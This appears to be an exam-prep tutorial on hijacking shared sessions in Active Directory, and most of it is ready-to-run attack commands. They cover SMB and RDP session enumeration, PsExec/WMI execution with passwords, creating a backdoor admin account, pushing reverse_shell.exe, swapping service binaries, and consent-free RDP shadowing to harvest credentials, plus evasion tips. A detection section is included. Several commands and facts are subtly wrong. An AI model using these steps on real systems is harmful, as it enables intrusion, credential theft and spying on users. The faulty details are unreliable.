Shared Session Hijacking
Table of Contents
- Shared Sessions in Active Directory
- SMB Session Enumeration
- Identifying Admin Sessions
- Session Hijacking Concepts
- Using Identified Sessions for Lateral Movement
- PsExec and Service-Based Session Hijacking
- RDP Shadowing
- Detection and Mitigation
- Common Pitfalls and Troubleshooting
- OSCP Exam Tips
Shared Sessions in Active Directory
What Are Shared Sessions?
In Active Directory environments, shared sessions refer to active connections that users maintain to various resources. These sessions represent trust relationships and access paths that can be leveraged for lateral movement.
Types of Shared Sessions
| Session Type | Protocol | Port | Description |
|---|---|---|---|
| SMB Sessions | SMB/CIFS | 445 | File share connections, admin shares |
| RDP Sessions | RDP | 3389 | Remote desktop connections |
| PS Sessions | WinRM | 5985/5986 | PowerShell remoting sessions |
| WMI Sessions | WMI | 135/Dynamic | Windows Management Instrumentation |
| Database Sessions | Various | Various | SQL, Oracle connections |
Why Sessions Matter for Lateral Movement
┌─────────────────────────────────────────────────────┐
│ SESSION-BASED LATERAL MOVEMENT │
│ │
│ User A ──SMB──▶ File Server │
│ User A ──RDP──▶ Workstation B │
│ User A ──SMB──▶ Admin Share on Server C │
│ │
│ If you compromise User A's credentials: │
│ → You can access all resources User A has sessions │
│ to, even without explicit permissions │
│ │
│ If you compromise a host User A has sessions to: │
│ → You may inherit User A's access context │
│ on that host │
└─────────────────────────────────────────────────────┘
Session Lifecycle
1. Authentication
User authenticates to a resource (SMB share, RDP, etc.)
2. Session Establishment
A session is created and maintained
3. Session Usage
User accesses resources through the session
4. Session Timeout
Session expires after inactivity (configurable)
5. Session Termination
User disconnects or session is forcibly closed
SMB Session Enumeration
The net session Command
The net session command is the primary tool for enumerating active SMB sessions from a compromised Windows host.
Basic Syntax
# List all sessions to this host
net session
# List sessions with specific details
net session /server:TARGET_HOST
# List sessions from a specific user
net session \\USER_NAME
Prerequisites
- Local Admin rights on the target host (to enumerate its sessions)
- Network access to the target
- SMB must be enabled (port 445)
Output Format
C:\> net session
Username Computername Idle(d:m:s) Open Program
--------------------------------------------------------------------------
DOMAIN\jsmith WORKSTATION01 0:02:15 explorer.exe
DOMAIN\administrator SERVER01 0:00:00 svchost.exe
DOMAIN\backup_svc FILESERVER01 0:15:30 cscui.exe
The command completed successfully.
Column Explanations
| Column | Description | Attack Relevance |
|---|---|---|
| Username | Account with the session | Target credentials for reuse |
| Computername | Source of the session | Potential pivot point |
| Idle | Time since last activity | Session freshness |
| Open Program | Application using the session | Context of access |
Advanced Session Enumeration
Using PowerShell
# Enumerate sessions using WMI
Get-WmiObject -Class Win32_ServerConnection -ComputerName TARGET_HOST
# Enumerate sessions using CIM
Get-CimInstance -ClassName Win32_ServerConnection -ComputerName TARGET_HOST
# Get detailed session info
Get-WmiObject -Class Win32_ServerConnection -ComputerName TARGET_HOST |
Select-Object Name, ShareName, UserName, Protocol | Format-Table
# Enumerate sessions across multiple hosts
$hosts = Get-Content hosts.txt
foreach ($host in $hosts) {
try {
$sessions = Get-WmiObject -Class Win32_ServerConnection -ComputerName $host -ErrorAction Stop
if ($sessions) {
Write-Host "=== $host ===" -ForegroundColor Cyan
$sessions | Format-Table Name, ShareName, UserName
}
} catch {
Write-Host "[-] $host : $_" -ForegroundColor Red
}
}
Using Impacket
# Enumerate SMB sessions using Impacket
python3 impacket-smbclient ADMIN:'Password123'@TARGET_HOST
# List shares and connections
python3 impacket-smbclient -no-pass ADMIN@TARGET_HOST
# Using service connections
python3 impacket-servicectl ADMIN:'Password123'@TARGET_HOST enum
Using CrackMapExec
# Enumerate SMB sessions via CME
crackmapexec smb TARGET_HOST -u ADMIN -p 'Password123!' --sessions
# Check admin shares
crackmapexec smb TARGET_HOST -u ADMIN -p 'Password123!' --shares
# Disk enumeration
crackmapexec smb TARGET_HOST -u ADMIN -p 'Password123!' --disks
Session Enumeration from Linux
# Using smbclient
smbclient -L //TARGET_HOST -U DOMAIN/user%Password123
# Using rpcclient
rpcclient -U DOMAIN/user%Password123 TARGET_HOST
# Using Impacket
python3 impacket-smbclient DOMAIN/user:Password123@TARGET_HOST
Identifying Admin Sessions
Why Admin Sessions Matter
Admin sessions are the most valuable targets for session hijacking because they provide:
- Elevated access – Administrator privileges on the target
- Broad resource access – Access to admin shares (C$, ADMIN$, IPC$)
- Lateral movement paths – Admin sessions often span multiple hosts
- Persistence opportunities – Admin access enables backdoors
Identifying Admin Sessions via net session
# Look for these patterns in net session output:
# 1. Domain Administrator sessions
net session | findstr /i "administrator"
# 2. Admin$ share access
net session | findstr /i "admin"
# 3. Sessions with svchost.exe (often admin tools)
net session | findstr /i "svchost"
# 4. Sessions from known admin workstations
net session | findstr /i "admin-ws"
Admin Session Indicators
| Indicator | Description | Significance |
|---|---|---|
DOMAIN\administrator |
Built-in admin account | Highest privilege |
DOMAIN\Domain Admins members |
Group membership | High privilege |
svchost.exe in Open Program |
Service host process | Often admin tools |
explorer.exe on server |
File explorer on server | Interactive admin session |
Session to ADMIN$ share |
Admin share access | Admin-level access |
Session to C$ share |
Default admin share | Admin-level access |
Session to IPC$ share |
IPC share access | Remote execution possible |
Correlating Sessions with Shares
# Check what shares are accessible
net share
# Check who has access to each share
# Combine with net session to map users to shares
# Example workflow:
# Step 1: List shares
net share
# Step 2: List sessions
net session
# Step 3: Correlate
# If DOMAIN\jsmith has a session and C$ is shared,
# jsmith may have admin access
PowerShell Admin Session Detection
# Comprehensive admin session detection
$sessions = Get-WmiObject -Class Win32_ServerConnection -ComputerName $env:COMPUTERNAME
foreach ($session in $sessions) {
$user = $session.UserName
$share = $session.ShareName
# Check for admin indicators
if ($user -match "administrator" -or
$user -match "admin" -or
$share -match "admin\$" -or
$share -match "c\$") {
Write-Host "[!] Potential admin session:" -ForegroundColor Red
Write-Host " User: $user" -ForegroundColor Yellow
Write-Host " Share: $share" -ForegroundColor Yellow
Write-Host " Source: $($session.Name)" -ForegroundColor Yellow
Write-Host ""
}
}
Mapping Admin Session Paths
┌──────────────────────────────────────────────────────┐
│ ADMIN SESSION MAPPING │
│ │
│ Admin Workstation ──SMB──▶ File Server (C$) │
│ │ │ │
│ │ RDP │ SMB │
│ ▼ ▼ │
│ Domain Controller ◀────SMB──── DB Server │
│ │
│ If you compromise the Admin Workstation: │
│ → Access File Server via SMB (admin share) │
│ → Access DC via RDP │
│ → Access DB Server via SMB │
│ → Chain sessions for full domain compromise │
└──────────────────────────────────────────────────────┘
Session Hijacking Concepts
What Is Session Hijacking?
Session hijacking in the AD context means leveraging existing authenticated sessions to gain access to resources without re-authenticating. This differs from traditional web session hijacking – in AD, we exploit the session infrastructure itself.
Types of Session Hijacking in AD
1. SMB Session Hijacking
Attacker has admin access to Host A
Host A has an active SMB session to Host B (as admin)
→ Attacker can use Host A's context to access Host B
2. RDP Session Hijacking (Shadowing)
User is actively RDP'd into a server
Attacker has admin rights on that server
→ Attacker can "shadow" (view/control) the user's RDP session
3. Token-Based Session Hijacking
Process is running with elevated token
Attacker can inject into that process
→ Attacker inherits the process's token/privileges
4. Service Account Session Hijacking
Service runs as domain admin
Service has persistent connections to resources
→ Compromise the service, inherit its connections
Session Hijacking vs. Credential Reuse
| Aspect | Session Hijacking | Credential Reuse |
|---|---|---|
| Mechanism | Exploit active session | Reuse stolen credentials |
| Detection | Harder (uses existing auth) | Easier (new auth event) |
| Requirements | Admin on session host | Valid credentials |
| Stealth | Higher | Lower |
| Scope | Limited to session scope | Full credential scope |
Using Identified Sessions for Lateral Movement
Technique 1: SMB Admin Share Access
# If you identify that DOMAIN\jsmith has admin sessions to multiple hosts
# And you have jsmith's credentials:
# Access admin shares
net use \\TARGET_HOST\C$ /user:DOMAIN\jsmith Password123
# Browse the share
dir \\TARGET_HOST\C$\Windows\System32
# Copy files
copy \\TARGET_HOST\C$\Windows\temp\payload.exe .
# Map drive for easier access
net use Z: \\TARGET_HOST\C$ /user:DOMAIN\jsmith Password123
Technique 2: PsExec via Admin Sessions
# If you know an admin has sessions to specific hosts
# Use PsExec to execute commands remotely
# Basic PsExec
psexec \\TARGET_HOST -u DOMAIN\admin -p Password123 cmd
# PsExec with system context
psexec \\TARGET_HOST -u DOMAIN\admin -p Password123 -s cmd
# PsExec to specific hosts identified from sessions
psexec \\HOST1 -u DOMAIN\admin -p Password123 whoami
psexec \\HOST2 -u DOMAIN\admin -p Password123 whoami
psexec \\HOST3 -u DOMAIN\admin -p Password123 whoami
Technique 3: PowerShell Remoting via Sessions
# If you identify hosts with active admin sessions
# Use PowerShell remoting to access them
# Create session
$session = New-PSSession -ComputerName TARGET_HOST -Credential DOMAIN\admin
# Execute command
Invoke-Command -Session $session -ScriptBlock { whoami; hostname }
# Interactive session
Enter-PSSession -ComputerName TARGET_HOST -Credential DOMAIN\admin
# Multiple hosts
$hosts = @("HOST1", "HOST2", "HOST3")
Invoke-Command -ComputerName $hosts -Credential DOMAIN\admin -ScriptBlock {
Get-Process | Where-Object {$_.CPU -gt 100}
}
Technique 4: WMI Execution
# Execute commands via WMI on hosts with admin sessions
# Basic WMI execution
Get-WmiObject -Class Win32_Process -ComputerName TARGET_HOST `
-Credential (Get-Credential)
# Execute process via WMI
$proc = [WMICLASS]"\\TARGET_HOST\root\cimv2:Win32_Process"
$proc.Create("cmd.exe /c whoami", "$env:TEMP")
# Using CIM (modern WMI)
Invoke-CimMethod -ClassName Win32_Process -Name Create `
-Arguments @{CommandLine="cmd.exe /c whoami"} `
-ComputerName TARGET_HOST -Credential DOMAIN\admin
Technique 5: Session-Based Pivot Chain
# Complete pivot chain using session intelligence
# Step 1: Enumerate sessions on compromised host
net session
# Step 2: Identify admin sessions
# Found: DOMAIN\admin has sessions to DC01, FILE01, DB01
# Step 3: Access each target
# To DC01 (via RDP or SMB)
xfreerdp /v:DC01 /u:admin /p:Password123 /d:DOMAIN /cert-ignore
# To FILE01 (via SMB admin share)
net use \\FILE01\C$ /user:DOMAIN\admin Password123
# To DB01 (via PsExec)
psexec \\DB01 -u DOMAIN\admin -p Password123 cmd
# Step 4: Enumerate sessions on each new host
# Repeat the process to expand access
PsExec and Service-Based Session Hijacking
PsExec Overview
PsExec is part of the Sysinternals suite and is one of the most powerful tools for session-based lateral movement.
How PsExec Works
┌─────────────┐ Service ┌─────────────┐
│ Attacker │──────────────▶│ Target │
│ (PsExec) │ │ Host │
│ │◀──────────────│ │
│ │ Output │ PSEXESVC │
│ │ │ (Service) │
└─────────────┘ └─────────────┘
1. PsExec connects to target via SMB (ADMIN$ share)
2. Copies PSEXESVC.exe to ADMIN$
3. Creates PSEXESVC as a service
4. Service executes the requested command
5. Output is returned over the SMB connection
6. Service is cleaned up
PsExec Commands
# Basic remote execution
psexec \\TARGET_HOST cmd
# With credentials
psexec \\TARGET_HOST -u DOMAIN\admin -p Password123 cmd
# System context
psexec \\TARGET_HOST -u DOMAIN\admin -p Password123 -s cmd
# Specific user context
psexec \\TARGET_HOST -u DOMAIN\user -p Password123 -i cmd
# Interactive session
psexec \\TARGET_HOST -u DOMAIN\admin -p Password123 -i -d cmd
# Run specific command
psexec \\TARGET_HOST -u DOMAIN\admin -p Password123 whoami
# Accept EULA automatically
psexec \\TARGET_HOST -u DOMAIN\admin -p Password123 -accepteula cmd
PsExec Options
| Option | Description |
|---|---|
-s |
Run as SYSTEM |
-u |
Username |
-p |
Password |
-i |
Interactive with desktop |
-d |
Don’t wait for exit (detached) |
-h |
Run with elevated privileges (UAC) |
-e |
Preserve environment |
-accepteula |
Accept license automatically |
-c |
Copy file before execution |
-f |
Copy from file share |
PsExec for Lateral Movement
# Enumerate multiple hosts
for /f %i in (hosts.txt) do psexec \\%i -u DOMAIN\admin -p Password123 whoami
# Deploy payload
psexec \\TARGET -u DOMAIN\admin -p Password123 -c payload.exe -d payload.exe
# Execute and clean
psexec \\TARGET -u DOMAIN\admin -p Password123 -d cmd /c "net user backdoor Pass123! /add & net localgroup admins backdoor /add"
# Remote registry access
psexec \\TARGET -u DOMAIN\admin -p Password123 reg query HKLM\SOFTWARE
Impacket psexec.py
# Impacket's Python-based PsExec alternative
python3 psexec.py DOMAIN/admin:Password123@TARGET_HOST
# With hash
python3 psexec.py DOMAIN/admin:hash@TARGET_HOST
# With Kerberos
export KRB5CCNAME=/tmp/krb5cc_admin
python3 psexec.py -k -no-pass DOMAIN/admin@TARGET_HOST
# Execute specific command
python3 psexec.py DOMAIN/admin:Password123@TARGET_HOST "whoami"
Service-Based Session Hijacking
Abusing Existing Services
# List services running as privileged accounts
Get-Service | Where-Object {$_.StartType -eq "Automatic"} |
Get-WmiObject -Class Win32_Service -Filter "StartMode='Automatic'" |
Select-Object Name, StartName, PathName |
Where-Object {$_.StartName -match "DOMAIN\\"} |
Format-Table -AutoSize
# Check service accounts with domain privileges
Get-WmiObject -Class Win32_Service |
Where-Object {$_.StartName -match "DOMAIN\\.*Admin"} |
Select-Object Name, StartName, State
Modifying Service Binaries
# If you control a service running as admin
# You can modify its binary for persistence
# Stop the service
net stop SERVICE_NAME
# Replace the binary
copy payload.exe "C:\Program Files\Service\service.exe"
# Start the service (executes your payload as the service account)
net start SERVICE_NAME
RDP Shadowing
What Is RDP Shadowing?
RDP shadowing (also called session shadowing) allows an administrator to view and/or control another user’s active RDP session. This is a legitimate admin feature that can be abused for surveillance and lateral movement.
Shadowing Modes
| Mode | Description | Use Case |
|---|---|---|
| View Only | Watch the session without interaction | Monitoring, troubleshooting |
| Full Control | View and control the session | Admin intervention, hijacking |
| With Permission | Requires user consent | Legitimate admin support |
| Without Permission | No user consent needed | Admin abuse, stealth |
Enabling RDP Shadowing
# Check current shadowing settings
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services' `
-Name 'Shadow' -ErrorAction SilentlyContinue
# Enable shadowing without permission
# Value 1 = Full control without permission
# Value 2 = View only without permission
# Value 3 = Full control with permission
# Value 4 = View only with permission
# Value 5 = Full control with permission (user can deny)
# Value 6 = View only with permission (user can deny)
New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services' `
-Name 'Shadow' -Value 1 -PropertyType DWord -Force
Performing RDP Shadowing
Via MSTSC
# Shadow a specific session
mstsc /shadow:SESSION_ID /noconsent
# Parameters:
# SESSION_ID = The RDP session ID to shadow
# /noconsent = Don't ask for user permission
# /control = Full control (default with Shadow=1)
# /shadow:ask = Ask user for permission
Finding Session IDs
# List active RDP sessions
query session
# Output:
# SESSIONNAME ID STATE TYPE DEVICE
# console 0 Conn rdpwd
>admin 1 Active rdpwd
#jsmith 2 Active rdpwd
#Session 65536 Listen rdpwd
# Shadow session 2 (jsmith's session)
mstsc /shadow:2 /noconsent
Via PowerShell
# List sessions
Get-CimInstance -ClassName Win32_TSSession -Namespace 'root\cimv2\terminalservices'
# Using terminal services module
Import-Module RemoteDesktop
Get-RDUserSession -ConnectionBroker "SERVER"
# Shadow using fshadow (legacy tool)
fshadow.exe /v TARGET_SESSION /noconsent
Via Command Line (Legacy)
# Using shadow.exe (if available)
shadow.exe SESSION_ID
# Using tsshadow (third-party)
tsshadow.exe SESSION_ID /noSendCtrlDelete
RDP Shadowing for Lateral Movement
# Complete shadowing workflow
# Step 1: Gain admin access to the RDP host
# (via PsExec, RDP, or other method)
# Step 2: List active sessions
query session
# Step 3: Identify target session
# Found: jsmith in session 2
# Step 4: Shadow the session
mstsc /shadow:2 /noconsent
# Step 5: Once shadowing, you can:
# - See what the user is doing
# - Access their open files and applications
# - Copy credentials from their session
# - Deploy additional payloads
# - Harvest information for further movement
Shadowing Detection Evasion
# Shadowing leaves minimal traces
# But you can reduce detection further:
# Shadow briefly and disconnect
# Don't make obvious changes
# Avoid file operations during shadow
# Check if shadowing is detected
Get-EventLog -LogName "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational" `
-Newest 50 | Where-Object {$_.EventID -eq 35}
Detection and Mitigation
Detection Indicators
Windows Event Logs
| Event ID | Source | Description | Detection Value |
|---|---|---|---|
| 528 | Security (legacy) | RDP logon | Session started |
| 538 | Security (legacy) | Resource control | Admin share access |
| 540 | Security | User logon | New session |
| 552 | Security | Audit handle | Session manipulation |
| 4656 | Security | Handle opened | Session object access |
| 4663 | Security | Object access | Session enumeration |
| 4671 | Security | Computer changed | Session control |
| 23 | TermServ-RCM | RDP disconnect | Session ended |
| 35 | TermServ-RCM | Shadow started | RDP shadowing |
| 36 | TermServ-RCM | Shadow ended | Shadow stopped |
| 4624 | Security | Logon | Logon Type 10 = RDP |
| 5140 | Security | Shared object opened | Admin share access |
| 5145 | Security | Network share check | Share enumeration |
Key Detection Queries
# Detect RDP shadowing
Get-WinEvent -LogName "Microsoft-Windows-TerminalsServices-RemoteConnectionManager/Operational" |
Where-Object { $_.Id -eq 35 }
# Detect session enumeration
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4663
} | Where-Object { $_.Message -match "Win32_ServerConnection" }
# Detect PsExec service creation
Get-WinEvent -FilterHashtable @{
LogName='System'
ID=7045
} | Where-Object { $_.Message -match "PSEXESVC" }
# Detect admin share access
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=5145
} | Where-Object { $_.Message -match "C\$|ADMIN\$|IPC\$" }
# Detect new service creation (PsExec indicator)
Get-WinEvent -FilterHashtable @{
LogName='System'
ID=7045
}
Network Detection
| Indicator | Description |
|---|---|
| SMB to ADMIN$ | PsExec/service installation |
| Service control traffic | PsExec service management |
| Multiple RDP shadows | Admin abuse pattern |
| Session enumeration from unusual host | Reconnaissance |
Mitigation Strategies
1. Restrict Session Enumeration
# Remove "Prevent users from tracking programs" policy
# Restrict who can enumerate sessions
# Via Group Policy:
# Computer Configuration -> Policies -> Windows Settings
# -> Security Settings -> Local Policies -> User Rights Assignment
# -> "Access this computer from the network"
# Remove unnecessary users from session enumeration rights
2. Disable RDP Shadowing
# Disable shadowing via registry
New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services' `
-Name 'Shadow' -Value 0 -PropertyType DWord -Force
# Value 0 = Shadowing disabled
3. Restrict Admin Share Access
# Disable admin shares
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters' `
-Name 'AutoShareServer' -Value 0 -PropertyType DWord -Force
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters' `
-Name 'AutoShareWks' -Value 0 -PropertyType DWord -Force
# Reboot required
4. Monitor and Alert
- Alert on Event ID 35 (RDP shadowing started)
- Alert on Event ID 7045 with PSEXESVC (PsExec usage)
- Alert on admin share access from unusual sources
- Monitor for session enumeration patterns
5. Least Privilege
- Limit local admin membership
- Use JIT (Just-In-Time) admin access
- Restrict “Remote Desktop Users” group
- Implement privileged access workstations (PAWs)
Common Pitfalls and Troubleshooting
Problem: net session Returns Access Denied
# Cause: Not a local administrator
# Fix: Elevate to admin context
# Check if you're admin
net localgroup Administrators
# Use runas to elevate
runas /user:DOMAIN\admin "cmd"
# Or use an admin shell
# Right-click -> Run as Administrator
Problem: No Sessions Listed
# Possible causes:
# 1. No active sessions to this host
# 2. Sessions have timed out
# 3. Host is not a file server
# Check if SMB is enabled
net share
# Check firewall
netsh advfirewall firewall show rule name="File and Printer Sharing"
# Try from a known file server
net session /server:FILESERVER
Problem: PsExec Connection Failed
# Common causes and fixes:
# 1. Admin share not accessible
# Fix: Ensure you have admin rights
psexec \\TARGET -u DOMAIN\admin -p Password123 cmd
# 2. Firewall blocking
# Fix: Open required ports
netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=yes
# 3. UAC blocking remote activation
# Fix: Use -h flag or disable remote UAC
psexec \\TARGET -u DOMAIN\admin -p Password123 -h cmd
# 4. LSA protection
# Fix: Use alternative method (WMI, PowerShell)
Problem: RDP Shadowing Fails
# Check if shadowing is enabled
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
# Check session ID
query session
# Try with consent
mstsc /shadow:SESSION_ID
# Check if user is actually in an RDP session
# Console sessions cannot be shadowed
Problem: Session Timeout Too Quick
# Increase session timeout
# Via Group Policy:
# Computer Configuration -> Policies -> Administrative Templates
# -> Windows Components -> Remote Desktop Services -> Remote Desktop Session Host
# -> Session Time Limits
# Or via registry
New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services' `
-Name 'MaxDisconnectionTime' -Value 0 -PropertyType DWord -Force
# Value 0 = No timeout
OSCP Exam Tips
Must-Know Commands
# Session enumeration (MOST IMPORTANT)
net session
# List RDP sessions
query session
# PsExec remote execution
psexec \\TARGET -u DOMAIN\admin -p Password cmd
# RDP shadowing
mstsc /shadow:SESSION_ID /noconsent
Exam Workflow
- Compromise initial host – Get foothold
- Enumerate sessions –
net sessionto find admin sessions - Identify targets – Look for admin sessions to valuable hosts
- Leverage sessions – Use PsExec, RDP, or SMB to access targets
- Repeat – Enumerate sessions on new hosts
Common Exam Scenarios
Scenario 1: Admin Session Discovery
# You have user access on a workstation
# Upgrade to admin, then enumerate sessions
# Step 1: Get admin (via privilege escalation)
# Step 2: Enumerate sessions
net session
# Found: DOMAIN\admin has session to 10.10.10.20
# Step 3: Use admin credentials to access target
psexec \\10.10.10.20 -u DOMAIN\admin -p Password123 cmd
Scenario 2: RDP Shadowing
# You have admin access to a server
# Another user is actively RDP'd in
# Step 1: List sessions
query session
# Found: jsmith in session 2
# Step 2: Shadow the session
mstsc /shadow:2 /noconsent
# Step 3: Harvest credentials from their session
# Look for open files, browsers, credential managers
Scenario 3: PsExec Lateral Movement
# You have admin credentials
# Move laterally using PsExec
# Single host
psexec \\TARGET -u DOMAIN\admin -p Password123 whoami
# Multiple hosts
for /f %i in (hosts.txt) do psexec \\%i -u DOMAIN\admin -p Password123 whoami
# Deploy and execute
psexec \\TARGET -u DOMAIN\admin -p Password123 -c reverse_shell.exe -d reverse_shell.exe
Quick Reference Card
┌─────────────────────────────────────────────────────────┐
│ SHARED SESSION HIJACKING CHEAT SHEET │
├─────────────────────────────────────────────────────────┤
│ │
│ Enumerate SMB Sessions: │
│ net session │
│ │
│ List RDP Sessions: │
│ query session │
│ │
│ PsExec Remote Execution: │
│ psexec \\TARGET -u DOMAIN\admin -p PASS cmd │
│ │
│ PsExec as SYSTEM: │
│ psexec \\TARGET -u DOMAIN\admin -p PASS -s cmd │
│ │
│ RDP Shadowing: │
│ mstsc /shadow:SESSION_ID /noconsent │
│ │
│ PowerShell Session: │
│ Enter-PSSession -ComputerName TARGET -Credential CRED │
│ │
│ WMI Execution: │
│ Get-WmiObject -Class Win32_Process -ComputerName TARGET │
│ │
│ Key Event IDs: │
│ 35 = RDP Shadowing Started │
│ 7045 = Service Installed (PsExec) │
│ 5145 = Share Access │
│ │
│ Admin Shares: C$, ADMIN$, IPC$, D$ │
└─────────────────────────────────────────────────────────┘
Key Takeaways
net sessionis your friend – Always run it on compromised Windows hosts- Admin sessions are gold – They reveal lateral movement paths
- PsExec uses ADMIN$ – Requires admin share access
- RDP shadowing is stealthy – View/control active sessions silently
- Session chains matter – Map the full session graph for maximum impact
- Event ID 35 – Primary indicator for RDP shadowing
- Event ID 7045 – Primary indicator for PsExec usage
- Admin shares (C$, ADMIN$) – Key targets for session-based access